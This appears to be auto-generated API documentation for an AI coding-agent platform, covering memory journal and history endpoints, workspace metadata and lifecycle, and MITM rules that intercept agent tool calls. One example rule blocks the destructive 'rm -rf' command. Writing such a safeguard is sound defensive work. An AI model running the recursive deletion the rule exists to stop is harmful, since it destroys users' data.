```



### SDK

```ts
const result = await client.agent.memory.deleteBlock({
  workspaceID: "ws_01HXYZ...",
  label: "user_prefs"
});
```

---

## Journal Entries

Journal entries are dated, tagged, free-form text records. Use them for session notes, decisions, and context the agent should retain across sessions.

### `GET /api/v1/workspaces/{workspaceID}/memory/journal`

List journal entries with optional filters (e.g. by project, tags, or date range).

### Parameters

| Name | In | Type | Required | Description |
|------|-----|------|----------|-------------|
| `workspaceID` | path | string | Yes | The workspace identifier. |

### Response



```json
[
  {
    "id": "jrn_01HABC...",
    "title": "Refactored auth middleware",
    "body": "Migrated from session cookies to JWT. Updated middleware in src/auth.ts.",
    "tags": ["refactor", "auth"],
    "created": 1717400000000,
    "projectID": "proj_abc123",
    "model": "claude-3-5-sonnet",
    "provider": "anthropic",
    "filePath": "memory/journal/2024-06-01-jrn_01HABC.md"
  }
]
```



### SDK

```ts
const entries = await client.agent.memory.listJournalEntries({
  workspaceID: "ws_01HXYZ..."
});
```

---

### `GET /api/v1/workspaces/{workspaceID}/memory/journal/{id}`

Retrieve a single journal entry by its ID.

### Parameters

| Name | In | Type | Required | Description |
|------|-----|------|----------|-------------|
| `workspaceID` | path | string | Yes | The workspace identifier. |
| `id` | path | string | Yes | The journal entry ID. |

### Response



```json
{
  "id": "jrn_01HABC...",
  "title": "Refactored auth middleware",
  "body": "Migrated from session cookies to JWT. Updated middleware in src/auth.ts.",
  "tags": ["refactor", "auth"],
  "created": 1717400000000,
  "projectID": "proj_abc123",
  "model": "claude-3-5-sonnet",
  "provider": "anthropic",
  "filePath": "memory/journal/2024-06-01-jrn_01HABC.md"
}
```


```json
{
  "name": "NotFoundError",
  "data": {
    "message": "Journal entry not found"
  }
}
```



### SDK

```ts
const entry = await client.agent.memory.getJournalEntry({
  workspaceID: "ws_01HXYZ...",
  id: "jrn_01HABC..."
});
```

---

### `GET /api/v1/workspaces/{workspaceID}/memory/journal/count`

Return the number of journal entries for the current project. Useful for dashboards and quota checks.

### Parameters

| Name | In | Type | Required | Description |
|------|-----|------|----------|-------------|
| `workspaceID` | path | string | Yes | The workspace identifier. |

### Response



```json
{
  "count": 42
}
```



### SDK

```ts
const { count } = await client.agent.memory.countJournalEntries({
  workspaceID: "ws_01HXYZ..."
});
```

---

### `POST /api/v1/workspaces/{workspaceID}/memory/journal`

Create a new journal entry. The `title` and `body` are required; `tags`, `projectID`, `model`, and `provider` are optional metadata.

### Parameters



| Name | In | Type | Required | Description |
|------|-----|------|----------|-------------|
| `workspaceID` | path | string | Yes | workspaceID path parameter |


### Request Body

| Name | Type | Required | Description |
|------|------|----------|-------------|
| `title` | string | Yes | Short title for the entry (max 1000 characters). |
| `body` | string | Yes | The entry body (max 100000 characters). |
| `tags` | array | No | Tags to associate with the entry (max 50, each max 100 characters). |
| `projectID` | string | No | Project scope for the entry. |
| `model` | string | No | Model identifier that produced the entry. |
| `provider` | string | No | Provider identifier (e.g. `anthropic`, `openai`). |

```json
{
  "title": "Decided on Vitest for unit tests",
  "body": "Vitest selected over Jest for better ESM support and faster startup.",
  "tags": ["testing", "decision"],
  "projectID": "proj_abc123",
  "model": "claude-3-5-sonnet",
  "provider": "anthropic"
}
```

### Response



```json
{
  "id": "jrn_01HDEF...",
  "title": "Decided on Vitest for unit tests",
  "body": "Vitest selected over Jest for better ESM support and faster startup.",
  "tags": ["testing", "decision"],
  "created": 1717500000000,
  "projectID": "proj_abc123",
  "model": "claude-3-5-sonnet",
  "provider": "anthropic",
  "filePath": "memory/journal/2024-06-02-jrn_01HDEF.md"
}
```



### SDK

```ts
const entry = await client.agent.memory.createJournalEntry({
  workspaceID: "ws_01HXYZ...",
  title: "Decided on Vitest for unit tests",
  body: "Vitest selected over Jest for better ESM support and faster startup.",
  tags: ["testing", "decision"],
  projectID: "proj_abc123",
  model: "claude-3-5-sonnet",
  provider: "anthropic"
});
```

---

### `POST /api/v1/workspaces/{workspaceID}/memory/journal/search`

Search journal entries by free-text query and/or tag filters. All fields in the request body are optional; omit them to broaden the search.

### Parameters

| Name | In | Type | Required | Description |
|------|-----|------|----------|-------------|
| `workspaceID` | path | string | Yes | The workspace identifier. |

### Request Body

| Name | Type | Required | Description |
|------|------|----------|-------------|
| `text` | string | No | Free-text query matched against title and body (max 1000 characters). |
| `projectID` | string | No | Restrict results to a specific project. |
| `tags` | array | No | Restrict results to entries with all of the specified tags (max 50, each max 100 characters). |
| `limit` | number | No | Maximum number of results to return. |

```json
{
  "text": "Vitest",
  "tags": ["testing"],
  "projectID": "proj_abc123",
  "limit": 20
}
```

### Response



```json
[
  {
    "id": "jrn_01HDEF...",
    "title": "Decided on Vitest for unit tests",
    "body": "Vitest selected over Jest for better ESM support and faster startup.",
    "tags": ["testing", "decision"],
    "created": 1717500000000,
    "projectID": "proj_abc123",
    "model": "claude-3-5-sonnet",
    "provider": "anthropic",
    "filePath": "memory/journal/2024-06-02-jrn_01HDEF.md"
  }
]
```



### SDK

```ts
const results = await client.agent.memory.searchJournalEntries({
  workspaceID: "ws_01HXYZ...",
  text: "Vitest",
  tags: ["testing"],
  projectID: "proj_abc123",
  limit: 20
});
```

---

### `DELETE /api/v1/workspaces/{workspaceID}/memory/journal/{id}`

Delete a journal entry by ID.

### Parameters

| Name | In | Type | Required | Description |
|------|-----|------|----------|-------------|
| `workspaceID` | path | string | Yes | The workspace identifier. |
| `id` | path | string | Yes | The journal entry ID. |

### Response



```json
{
  "success": true
}
```


```json
{
  "name": "NotFoundError",
  "data": {
    "message": "Journal entry not found"
  }
}
```



### SDK

```ts
const result = await client.agent.memory.deleteJournalEntry({
  workspaceID: "ws_01HXYZ...",
  id: "jrn_01HDEF..."
});
```

---

## History

The history is an append-only audit log of memory mutations. Each event records the action (`set`, `replace`, `delete`, `create_journal`, `delete_journal`), its origin (`tool`, `ui`, `system`), and contextual metadata.

### `GET /api/v1/workspaces/{workspaceID}/memory/history`

List memory change history events with cursor-based pagination.

### Parameters

| Name | In | Type | Required | Description |
|------|-----|------|----------|-------------|
| `workspaceID` | path | string | Yes | The workspace identifier. |

### Response



```json
{
  "items": [
    {
      "id": "evt_01HGHI...",
      "timestamp": 1717500000000,
      "action": "replace",
      "origin": "tool",
      "sessionID": "ses_abc123",
      "projectID": "proj_abc123",
      "scope": "workspace",
      "label": "user_prefs",
      "oldCharCount": 47,
      "newCharCount": 53,
      "journalID": null,
      "journalTitle": null,
      "journalTags": null
    },
    {
      "id": "evt_01HJKL...",
      "timestamp": 1717400000000,
      "action": "create_journal",
      "origin": "tool",
      "sessionID": "ses_abc123",
      "projectID": "proj_abc123",
      "scope": null,
      "label": null,
      "oldCharCount": null,
      "newCharCount": null,
      "journalID": "jrn_01HABC...",
      "journalTitle": "Refactored auth middleware",
      "journalTags": ["refactor", "auth"]
    }
  ],
  "total": 128,
  "hasMore": true,
  "nextCursor": "eyJ0cyI6MTcxNzUwMDAwMDAwMH0="
}
```



### SDK

```ts
const page = await client.agent.memory.listHistory({
  workspaceID: "ws_01HXYZ..."
});
```

---

### `GET /api/v1/workspaces/{workspaceID}/memory/history/{id}`

Retrieve a single history event with its full payload, including the old and new values, and any associated journal or block metadata.

### Parameters

| Name | In | Type | Required | Description |
|------|-----|------|----------|-------------|
| `workspaceID` | path | string | Yes | The workspace identifier. |
| `id` | path | string | Yes | The history event ID. |

### Response



```json
{
  "id": "evt_01HJKL...",
  "timestamp": 1717400000000,
  "action": "create_journal",
  "origin": "tool",
  "sessionID": "ses_abc123",
  "projectID": "proj_abc123",
  "scope": null,
  "label": null,
  "oldCharCount": null,
  "newCharCount": null,
  "journalID": "jrn_01HABC...",
  "journalTitle": "Refactored auth middleware",
  "journalTags": ["refactor", "auth"],
  "oldValue": null,
  "newValue": null,
  "blockDescription": null,
  "blockLimit": null,
  "blockReadOnly": null,
  "journalBody": "Migrated from session cookies to JWT. Updated middleware in src/auth.ts.",
  "journalModel": "claude-3-5-sonnet",
  "journalProvider": "anthropic"
}
```


```json
{
  "name": "NotFoundError",
  "data": {
    "message": "History event not found"
  }
}
```



### SDK

```ts
const event = await client.agent.memory.getHistoryEvent({
  workspaceID: "ws_01HXYZ...",
  id: "evt_01HJKL..."
});
```

---

# Agent: Meta

**Page:** api/agent/meta

[Download Raw Markdown](./api/agent/meta.md)

---

{/* AUTO-GENERATED — Do not edit manually. Regenerate with: npm run docs:api:generate */}



The **Agent: Meta** endpoints expose workspace-scoped metadata and lifecycle controls for a Hoody agent. Use them to discover available agents, skills, and commands; inspect paths, version-control state, and LSP/formatter health; subscribe to the server-sent event stream; and clean up the workspace instance when finished.

All endpoints are scoped to a workspace via the `workspaceID` path parameter.

## Workspace paths

### `GET /api/v1/workspaces/{workspaceID}/meta/path`

Retrieve the current working directory and related path information for this workspace.

#### Parameters

| Name | In | Type | Required | Description |
|------|-----|------|----------|-------------|
| `workspaceID` | path | string | Yes | The workspace identifier. |

#### Response



```json
{
  "home": "/home/user",
  "state": "/home/user/.hoody/state",
  "config": "/home/user/.hoody/config.json",
  "worktree": "/home/user/projects/my-app",
  "directory": "/home/user/projects/my-app/.hoody/workspace"
}
```



#### SDK

```ts
const paths = await client.agent.meta.getPaths({
  workspaceID: "ws_01HXYZ...",
});
```

---

## Agents

### `GET /api/v1/workspaces/{workspaceID}/meta/agents`

Get a list of all available AI agents for this workspace.

#### Parameters



| Name | In | Type | Required | Description |
|------|-----|------|----------|-------------|
| `workspaceID` | path | string | Yes | workspaceID path parameter |


#### Response



```json
[
  {
    "name": "build",
    "description": "Default build agent",
    "mode": "primary",
    "native": false,
    "hidden": false,
    "topP": 0.9,
    "temperature": 0.2,
    "color": "#4F46E5",
    "permission": [
      {
        "permission": "edit",
        "pattern": "*",
        "action": "allow"
      }
    ],
    "model": {
      "modelID": "claude-sonnet-4.5",
      "providerID": "anthropic"
    },
    "variant": "max",
    "prompt": "You are a careful software engineer.",
    "options": {},
    "steps": 256
  },
  {
    "name": "explore",
    "description": "Read-only subagent for codebase exploration",
    "mode": "subagent",
    "native": true,
    "hidden": false,
    "permission": [
      {
        "permission": "read",
        "pattern": "*",
        "action": "allow"
      },
      {
        "permission": "edit",
        "pattern": "*",
        "action": "deny"
      }
    ],
    "model": {
      "modelID": "claude-haiku-4.5",
      "providerID": "anthropic"
    },
    "options": {}
  }
]
```



#### SDK

```ts
const agents = await client.agent.meta.listAgents({
  workspaceID: "ws_01HXYZ...",
});
```

---

## Skills

### `GET /api/v1/workspaces/{workspaceID}/meta/skills`

Get a list of all available skills for this workspace.

#### Parameters

| Name | In | Type | Required | Description |
|------|-----|------|----------|-------------|
| `workspaceID` | path | string | Yes | The workspace identifier. |

#### Response



```json
[
  {
    "name": "code-review",
    "description": "Perform a thorough code review of recent changes.",
    "location": "/home/user/projects/my-app/.hoody/skills/code-review.md",
    "content": "# Code Review\n\nReview the staged diff and surface issues by severity.",
    "scope": "project",
    "editable": true,
    "enabled": true,
    "builtin": false
  },
  {
    "name": "commit",
    "description": "Create a well-structured git commit.",
    "location": "/home/user/.hoody/skills/commit.md",
    "content": "# Commit\n\nGenerate a commit message that summarizes the staged diff.",
    "scope": "global",
    "editable": true,
    "enabled": true,
    "builtin": true
  }
]
```



#### SDK

```ts
const skills = await client.agent.meta.listSkills({
  workspaceID: "ws_01HXYZ...",
});
```

---

## Commands

### `GET /api/v1/workspaces/{workspaceID}/meta/commands`

Get a list of all available commands for this workspace.

#### Parameters

| Name | In | Type | Required | Description |
|------|-----|------|----------|-------------|
| `workspaceID` | path | string | Yes | The workspace identifier. |

#### Response



```json
[
  {
    "name": "review",
    "description": "Run a code review over the current diff.",
    "agent": "build",
    "model": "claude-sonnet-4.5",
    "source": "command",
    "template": "Review the following diff:\n\n$ARGUMENTS",
    "subtask": false,
    "hints": ["diff", "review"]
  },
  {
    "name": "plan",
    "description": "Draft an implementation plan.",
    "agent": "build",
    "source": "skill",
    "template": "Create a plan for: $ARGUMENTS",
    "subtask": true,
    "hints": ["plan"]
  }
]
```



#### SDK

```ts
const commands = await client.agent.meta.listCommands({
  workspaceID: "ws_01HXYZ...",
});
```

---

## Tooling status

### `GET /api/v1/workspaces/{workspaceID}/meta/formatter/status`

Get formatter status for this workspace.

#### Parameters

| Name | In | Type | Required | Description |
|------|-----|------|----------|-------------|
| `workspaceID` | path | string | Yes | The workspace identifier. |

#### Response



```json
[
  {
    "name": "prettier",
    "extensions": [".ts", ".tsx", ".js", ".jsx", ".json", ".md"],
    "enabled": true
  },
  {
    "name": "gofmt",
    "extensions": [".go"],
    "enabled": true
  },
  {
    "name": "black",
    "extensions": [".py"],
    "enabled": false
  }
]
```



#### SDK

```ts
const formatters = await client.agent.meta.getFormatterStatus({
  workspaceID: "ws_01HXYZ...",
});
```

### `GET /api/v1/workspaces/{workspaceID}/meta/lsp/status`

Get LSP server status for this workspace.

#### Parameters

| Name | In | Type | Required | Description |
|------|-----|------|----------|-------------|
| `workspaceID` | path | string | Yes | The workspace identifier. |

#### Response



```json
[
  {
    "id": "ts-lsp",
    "name": "TypeScript Language Server",
    "root": "/home/user/projects/my-app",
    "status": "connected"
  },
  {
    "id": "pyright",
    "name": "Pyright",
    "root": "/home/user/projects/my-app/services/api",
    "status": "connected"
  },
  {
    "id": "rust-analyzer",
    "name": "rust-analyzer",
    "root": "/home/user/projects/my-app/crates/core",
    "status": "error"
  }
]
```



#### SDK

```ts
const lsp = await client.agent.meta.getLspStatus({
  workspaceID: "ws_01HXYZ...",
});
```

---

## Version control

### `GET /api/v1/workspaces/{workspaceID}/meta/vcs`

Retrieve version control system (VCS) information for this workspace, such as the current git branch.

#### Parameters

| Name | In | Type | Required | Description |
|------|-----|------|----------|-------------|
| `workspaceID` | path | string | Yes | The workspace identifier. |

#### Response



```json
{
  "branch": "feat/agent-meta-docs"
}
```



#### SDK

```ts
const vcs = await client.agent.meta.getVcs({
  workspaceID: "ws_01HXYZ...",
});
```

---

## Event stream

### `GET /api/v1/workspaces/{workspaceID}/meta/events`

Subscribe to server-sent events for this workspace. The connection stays open and emits a stream of `agent_Event` payloads covering session lifecycle, message updates, branch changes, LSP diagnostics, permissions, jobs, master-todo progress, and more.


The response uses `text/event-stream` (Server-Sent Events). Each frame is a JSON `agent_Event` object — see the `agent_Event` schema for the full set of event types.


#### Parameters



| Name | In | Type | Required | Description |
|------|-----|------|----------|-------------|
| `workspaceID` | path | string | Yes | workspaceID path parameter |


#### Response



```json
{
  "type": "session.idle",
  "properties": {
    "sessionID": "01HXYZSESSIONID0000000000"
  }
}
```



#### SDK

```ts
const stream = await client.agent.meta.subscribeEvents({
  workspaceID: "ws_01HXYZ...",
});

for await (const event of stream) {
  switch (event.type) {
    case "session.idle":
      // ...
      break;
    case "message.updated":
      // ...
      break;
  }
}
```

---

## Lifecycle

### `POST /api/v1/workspaces/{workspaceID}/meta/dispose`

Clean up and dispose the workspace instance, releasing all resources. Returns `true` once the instance has been torn down.


After calling `dispose`, the workspace instance is no longer usable. Create a new workspace to continue working in the same project.


#### Parameters

| Name | In | Type | Required | Description |
|------|-----|------|----------|-------------|
| `workspaceID` | path | string | Yes | The workspace identifier. |

#### Response



```json
true
```



#### SDK

```ts
const disposed = await client.agent.meta.dispose({
  workspaceID: "ws_01HXYZ...",
});
```

---

# Agent: MITM Rules

**Page:** api/agent/mitm

[Download Raw Markdown](./api/agent/mitm.md)

---

{/* AUTO-GENERATED — Do not edit manually. Regenerate with: npm run docs:api:generate */}



The Agent MITM API lets you inspect and manage the request/response interception rules that apply to your own workspace. Use these endpoints to read the effective state, manage overlay rules and tags, observe firings via logs and a live SSE event stream, run rule-match diagnostics, and verify webhook targets before saving a rule.


All endpoints are scoped to the caller's own workspace. The overlay is a per-workspace layer on top of the base config (typically `hoody.json`); changes to the overlay do not modify the base config on disk.


## Snapshot

### `GET /api/v1/workspaces/{workspaceID}/mitm/snapshot`

Returns the composed effective state — base config + overlay + transient enables — that the firing path uses. Includes the version triple (`configEpoch`, `overlayRevision`, `transientEpoch`), the rule list with `effectiveEnabled`, `source`, and `overlayState`, and the effective tag catalog.

### Parameters

| Name | In | Type | Required | Description |
|------|-----|------|----------|-------------|
| `workspaceID` | path | string | Yes | Workspace identifier |



```json
{
  "scope": "ws_abc123",
  "rules": [
    {
      "id": "block-dangerous-rm",
      "name": "Block dangerous rm -rf",
      "enabled": true,
      "description": "Prevents accidental recursive deletion",
      "severity": "critical",
      "trigger": {
        "event": "tool.execute.before",
        "tags": ["destructive"],
        "toolName": "Bash"
      },
      "action": {
        "type": "message",
        "content": "Refusing to run rm -rf on this project."
      },
      "cooldownMs": 0,
      "maxDepth": 1,
      "blocking": true,
      "effectiveEnabled": true,
      "source": "base",
      "overlayState": "active"
    }
  ],
  "tags": [
    {
      "id": "destructive",
      "label": "Destructive",
      "description": "Operations that mutate or delete user data",
      "color": "red"
    }
  ],
  "version": {
    "configEpoch": 12,
    "overlayRevision": 3,
    "transientEpoch": 0
  },
  "builtAt": 1730000000000,
  "processEpoch": 7
}
```



**SDK**

```ts
const snapshot = await client.agent.workspaceMitmSnapshot.getWorkspaceMitmSnapshot({
  workspaceID: "ws_abc123",
});
```

## Rules

### `GET /api/v1/workspaces/{workspaceID}/mitm/rules`

Returns the list of effective rules, including overlay provenance (`source`) and the `effectiveEnabled` flag (which reflects any overlay `enabledOverride` and any transient override).

### Parameters

| Name | In | Type | Required | Description |
|------|-----|------|----------|-------------|
| `workspaceID` | path | string | Yes | Workspace identifier |



```json
[
  {
    "id": "block-dangerous-rm",
    "name": "Block dangerous rm -rf",
    "enabled": true,
    "severity": "critical",
    "trigger": {
      "event": "tool.execute.before",
      "tags": ["destructive"],
      "toolName": "Bash"
    },
    "action": {
      "type": "message",
      "content": "Refusing to run rm -rf on this project."
    },
    "cooldownMs": 0,
    "maxDepth": 1,
    "blocking": true,
    "effectiveEnabled": true,
    "source": "base",
    "overlayState": "active"
  },
  {
    "id": "inject-safety-prompt",
    "name": "Inject safety prompt",
    "enabled": true,
    "severity": "info",
    "trigger": {
      "event": "chat.system.transform"
    },
    "action": {
      "type": "prompt-inject",
      "content": "Always confirm before running shell commands.",
      "position": "prepend",
      "target": "system"
    },
    "cooldownMs": 60000,
    "maxDepth": 1,
    "blocking": false,
    "effectiveEnabled": false,
    "source": "overlay",
    "overlayState": "active"
  }
]
```



**SDK**

```ts
const rules = await client.agent.workspaceMitmRules.listWorkspaceMitmRules({
  workspaceID: "ws_abc123",
});
```

### `POST /api/v1/workspaces/{workspaceID}/mitm/rules`

Adds a new rule to the overlay. The base config (e.g. `hoody.json`) is not modified. The new overlay revision is returned in the `ETag` header.

### Parameters

| Name | In | Type | Required | Description |
|------|-----|------|----------|-------------|
| `workspaceID` | path | string | Yes | Workspace identifier |

### Request Body

| Name | Type | Required | Description |
|------|------|----------|-------------|
| `id` | string | Yes | Unique rule identifier |
| `name` | string | Yes | Human-readable rule name |
| `enabled` | boolean | No | Whether the rule is enabled (Default: `true`) |
| `description` | string | No | Free-form description |
| `severity` | string | No | One of `info`, `warn`, `error`, `critical` |
| `trigger` | object | Yes | Trigger configuration; `event` is required |
| `action` | object | Yes | One of: `shell`, `message`, `prompt-inject`, `webhook`, `notification` |
| `cooldownMs` | number | No | Per-(rule,session) cooldown (Default: `0`) |
| `maxDepth` | number | No | Max recursion depth (Default: `1`) |
| `blocking` | boolean | No | Block the underlying call when matched (Default: `false`) |



```json
{
  "id": "notify-on-write",
  "name": "Notify on file write",
  "description": "Logs every file write to the workspace channel",
  "severity": "info",
  "trigger": {
    "event": "tool.execute.before",
    "toolName": "Write"
  },
  "action": {
    "type": "notification",
    "title": "File write",
    "body": "Tool Write is about to run."
  },
  "cooldownMs": 0,
  "maxDepth": 1,
  "blocking": false
}
```


```json
{
  "id": "notify-on-write",
  "name": "Notify on file write",
  "enabled": true,
  "description": "Logs every file write to the workspace channel",
  "severity": "info",
  "trigger": {
    "event": "tool.execute.before",
    "tags": [],
    "toolName": "Write"
  },
  "action": {
    "type": "notification",
    "title": "File write",
    "body": "Tool Write is about to run."
  },
  "cooldownMs": 0,
  "maxDepth": 1,
  "blocking": false
}
```


```json
{
  "error": "Rule with this id already exists in overlay",
  "code": "rule_already_exists"
}
```


```json
{
  "error": "If-Match did not match current overlay revision"
}
```


```json
{
  "error": "Validation failed: trigger.event is required"
}
```


```json
{
  "error": "If-Match header is required for overlay writes"
}
```



**SDK**

```ts
await client.agent.workspaceMitmRule.createWorkspaceMitmRule({
  workspaceID: "ws_abc123",
  data: {
    id: "notify-on-write",
    name: "Notify on file write",
    severity: "info",
    trigger: { event: "tool.execute.before", toolName: "Write" },
    action: {
      type: "notification",
      title: "File write",
      body: "Tool Write is about to run.",
    },
  },
});
```

### `PUT /api/v1/workspaces/{workspaceID}/mitm/rules/{id}`

Replaces the rule at `:id` in the overlay with the request body. If `:id` refers to a base-config rule, the overlay records a full overlay patch (with `baseContentHash` for stale detection on subsequent rebase).

### Parameters

| Name | In | Type | Required | Description |
|------|-----|------|----------|-------------|
| `workspaceID` | path | string | Yes | Workspace identifier |
| `id` | path | string | Yes | Rule identifier |

### Request Body

| Name | Type | Required | Description |
|------|------|----------|-------------|
| `id` | string | Yes | Must equal the path `:id` |
| `name` | string | Yes | Human-readable rule name |
| `enabled` | boolean | No | Whether the rule is enabled (Default: `true`) |
| `description` | string | No | Free-form description |
| `severity` | string | No | One of `info`, `warn`, `error`, `critical` |
| `trigger` | object | Yes | Trigger configuration; `event` is required |
| `action` | object | Yes | One of: `shell`, `message`, `prompt-inject`, `webhook`, `notification` |
| `cooldownMs` | number | No | Per-(rule,session) cooldown (Default: `0`) |
| `maxDepth` | number | No | Max recursion depth (Default: `1`) |
| `blocking` | boolean | No | Block the underlying call when matched (Default: `false`) |



```json
{
  "id": "notify-on-write",
  "name": "Notify on file write (updated)",
  "description": "Logs file writes and shell commands",
  "severity": "warn",
  "trigger": {
    "event": "tool.execute.before",
    "toolName": "Write"
  },
  "action": {
    "type": "notification",
    "title": "File write",
    "body": "Tool Write is about to run."
  },
  "cooldownMs": 0,
  "maxDepth": 1,
  "blocking": false
}
```


```json
{
  "id": "notify-on-write",
  "name": "Notify on file write (updated)",
  "enabled": true,
  "description": "Logs file writes and shell commands",
  "severity": "warn",
  "trigger": {
    "event": "tool.execute.before",
    "tags": [],
    "toolName": "Write"
  },
  "action": {
    "type": "notification",
    "title": "File write",
    "body": "Tool Write is about to run."
  },
  "cooldownMs": 0,
  "maxDepth": 1,
  "blocking": false
}
```


```json
{
  "error": "If-Match did not match current overlay revision"
}
```


```json
{
  "error": "Validation failed: trigger.event is required"
}
```


```json
{
  "error": "If-Match header is required for overlay writes"
}
```



**SDK**

```ts
await client.agent.rules.replaceWorkspaceMitmRule({
  workspaceID: "ws_abc123",
  id: "notify-on-write",
  data: {
    id: "notify-on-write",
    name: "Notify on file write (updated)",
    severity: "warn",
    trigger: { event: "tool.execute.before", toolName: "Write" },
    action: {
      type: "notification",
      title: "File write",
      body: "Tool Write is about to run.",
    },
  },
});
```

### `PATCH /api/v1/workspaces/{workspaceID}/mitm/rules/{id}`

Applies a shallow-merge patch to the overlay rule at `:id`. Pass `null` explicitly to delete a field on merge (the schema accepts `nullable().optional()` on every property).

### Parameters

| Name | In | Type | Required | Description |
|------|-----|------|----------|-------------|
| `workspaceID` | path | string | Yes | Workspace identifier |
| `id` | path | string | Yes | Rule identifier |

### Request Body

This endpoint accepts a partial rule object. Any field listed in the rule schema may be supplied. Set a field to `null` to remove it from the merged result.



```json
{
  "name": "Notify on file write (v2)",
  "severity": "warn",
  "description": null
}
```


```json
{
  "id": "notify-on-write",
  "name": "Notify on file write (v2)",
  "enabled": true,
  "severity": "warn",
  "trigger": {
    "event": "tool.execute.before",
    "tags": [],
    "toolName": "Write"
  },
  "action": {
    "type": "notification",
    "title": "File write",
    "body": "Tool Write is about to run."
  },
  "cooldownMs": 0,
  "maxDepth": 1,
  "blocking": false
}
```


```json
{
  "error": "If-Match did not match current overlay revision"
}
```


```json
{
  "error": "Validation failed: severity must be one of info, warn, error, critical"
}
```


```json
{
  "error": "If-Match header is required for overlay writes"
}
```



**SDK**

```ts
await client.agent.workspaceMitmRule.patchWorkspaceMitmRule({
  workspaceID: "ws_abc123",
  id: "notify-on-write",
  data: {
    name: "Notify on file write (v2)",
    severity: "warn",
    description: null,
  },
});
```

### `DELETE /api/v1/workspaces/{workspaceID}/mitm/rules/{id}`

Removes the rule at `:id` from the overlay. If `:id` refers to a base-config rule, the overlay records a deletion tombstone so the rule is omitted from the effective state.

### Parameters

| Name | In | Type | Required | Description |
|------|-----|------|----------|-------------|
| `workspaceID` | path | string | Yes | Workspace identifier |
| `id` | path | string | Yes | Rule identifier |

This endpoint accepts no body.



```json
{
  "description": "Deleted"
}
```


```json
{
  "error": "If-Match did not match current overlay revision"
}
```


```json
{
  "error": "If-Match header is required for overlay writes"
}
```



**SDK**

```ts
await client.agent.workspaceMitmRule.deleteWorkspaceMitmRule({
  workspaceID: "ws_abc123",
  id: "notify-on-write",
});
```

### `POST /api/v1/workspaces/{workspaceID}/mitm/rules/{id}/enable`

Records an `enabledOverride` on the overlay so the rule's effective enabled state flips, without rewriting any other fields. Persists across restart.

### Parameters

| Name | In | Type | Required | Description |
|------|-----|------|----------|-------------|
| `workspaceID` | path | string | Yes | Workspace identifier |
| `id` | path | string | Yes | Rule identifier |

### Request Body

| Name | Type | Required | Description |
|------|------|----------|-------------|
| `enabled` | boolean | Yes | The new effective enabled state |



```json
{
  "enabled": false
}
```


```json
{
  "description": "Override recorded"
}
```


```json
{
  "error": "If-Match did not match current overlay revision"
}
```


```json
{
  "error": "If-Match header is required for overlay writes"
}
```



**SDK**

```ts
await client.agent.enable.setWorkspaceMitmRuleEnabled({
  workspaceID: "ws_abc123",
  id: "notify-on-write",
  data: { enabled: false },
});
```

### `POST /api/v1/workspaces/{workspaceID}/mitm/rules/{id}/transient-enable`

Volatile per-process enable/disable. Does NOT persist across restart. Bumps `transientEpoch` and triggers a snapshot rebuild. Useful for short-lived A/B testing or temporary disables.

### Parameters

| Name | In | Type | Required | Description |
|------|-----|------|----------|-------------|
| `workspaceID` | path | string | Yes | Workspace identifier |
| `id` | path | string | Yes | Rule identifier |

### Request Body

| Name | Type | Required | Description |
|------|------|----------|-------------|
| `enabled` | boolean | Yes | The new effective enabled state |
| `ttlMs` | integer | No | Time-to-live in milliseconds (Default: `300000`, minimum `1000`, maximum `86400000`) |



```json
{
  "enabled": false,
  "ttlMs": 60000
}
```


```json
{
  "description": "Transient override recorded"
}
```



**SDK**

```ts
await client.agent.transientEnable.setWorkspaceMitmRuleTransientEnabled({
  workspaceID: "ws_abc123",
  id: "notify-on-write",
  data: { enabled: false, ttlMs: 60000 },
});
```

## Tags

### `GET /api/v1/workspaces/{workspaceID}/mitm/tags`

Returns the effective tag catalog for the workspace's MITM scope.

### Parameters

| Name | In | Type | Required | Description |
|------|-----|------|----------|-------------|
| `workspaceID` | path | string | Yes | Workspace identifier |



```json
[
  {
    "id": "destructive",
    "label": "Destructive",
    "description": "Operations that mutate or delete user data",
    "color": "red"
  },
  {
    "id": "review",
    "label": "Review",
    "description": "",
    "color": "gray"
  }
]
```



**SDK**

```ts
const tags = await client.agent.workspaceMitmTags.listWorkspaceMitmTags({
  workspaceID: "ws_abc123",
});
```

### `POST /api/v1/workspaces/{workspaceID}/mitm/tags`

Adds a new tag to the overlay.

### Parameters



| Name | In | Type | Required | Description |
|------|-----|------|----------|-------------|
| `workspaceID` | path | string | Yes | workspaceID path parameter |


### Request Body

| Name | Type | Required | Description |
|------|------|----------|-------------|
| `id` | string | Yes | Unique tag identifier |
| `label` | string | Yes | Human-readable tag label |
| `description` | string | No | Free-form description (Default: `""`) |
| `color` | string | No | One of `green`, `blue`, `yellow`, `purple`, `red`, `orange`, `gray` (Default: `"gray"`) |



```json
{
  "id": "review",
  "label": "Review",
  "description": "Sessions under human review",
  "color": "blue"
}
```


```json
{
  "id": "review",
  "label": "Review",
  "description": "Sessions under human review",
  "color": "blue"
}
```


```json
{
  "error": "Tag with this id already exists in overlay",
  "code": "tag_already_exists"
}
```


```json
{
  "error": "If-Match did not match current overlay revision"
}
```


```json
{
  "error": "If-Match header is required for overlay writes"
}
```



**SDK**

```ts
await client.agent.workspaceMitmTag.createWorkspaceMitmTag({
  workspaceID: "ws_abc123",
  data: {
    id: "review",
    label: "Review",
    description: "Sessions under human review",
    color: "blue",
  },
});
```

### `DELETE /api/v1/workspaces/{workspaceID}/mitm/tags/{id}`

Removes the tag at `:id` from the overlay. If `:id` refers to a base-config tag, the overlay records a deletion tombstone so the tag is omitted from the effective state.

### Parameters

| Name | In | Type | Required | Description |
|------|-----|------|----------|-------------|
| `workspaceID` | path | string | Yes | Workspace identifier |
| `id` | path | string | Yes | Tag identifier |

This endpoint accepts no body.



```json
{
  "description": "Deleted"
}
```


```json
{
  "error": "If-Match did not match current overlay revision"
}
```


```json
{
  "error": "If-Match header is required for overlay writes"
}
```



**SDK**

```ts
await client.agent.workspaceMitmTag.deleteWorkspaceMitmTag({
  workspaceID: "ws_abc123",
  id: "review",
});
```

### `PATCH /api/v1/workspaces/{workspaceID}/mitm/sessions/{sessionID}/tags`

Replaces the `mitm_tags` on a session. The handler canonicalises the incoming list (sorted + deduped) and short-circuits to a no-op when canonical equality is detected.

### Parameters

| Name | In | Type | Required | Description |
|------|-----|------|----------|-------------|
| `workspaceID` | path | string | Yes | Workspace identifier |
| `sessionID` | path | string | Yes | Session identifier |

### Request Body

| Name | Type | Required | Description |
|------|------|----------|-------------|
| `tags` | array | Yes | The full replacement list of tag ids |



```json
{
  "tags": ["review", "destructive"]
}
```


```json
{
  "description": "Tags updated (or no-op)"
}
```


```json
{
  "description": "Session not found"
}
```



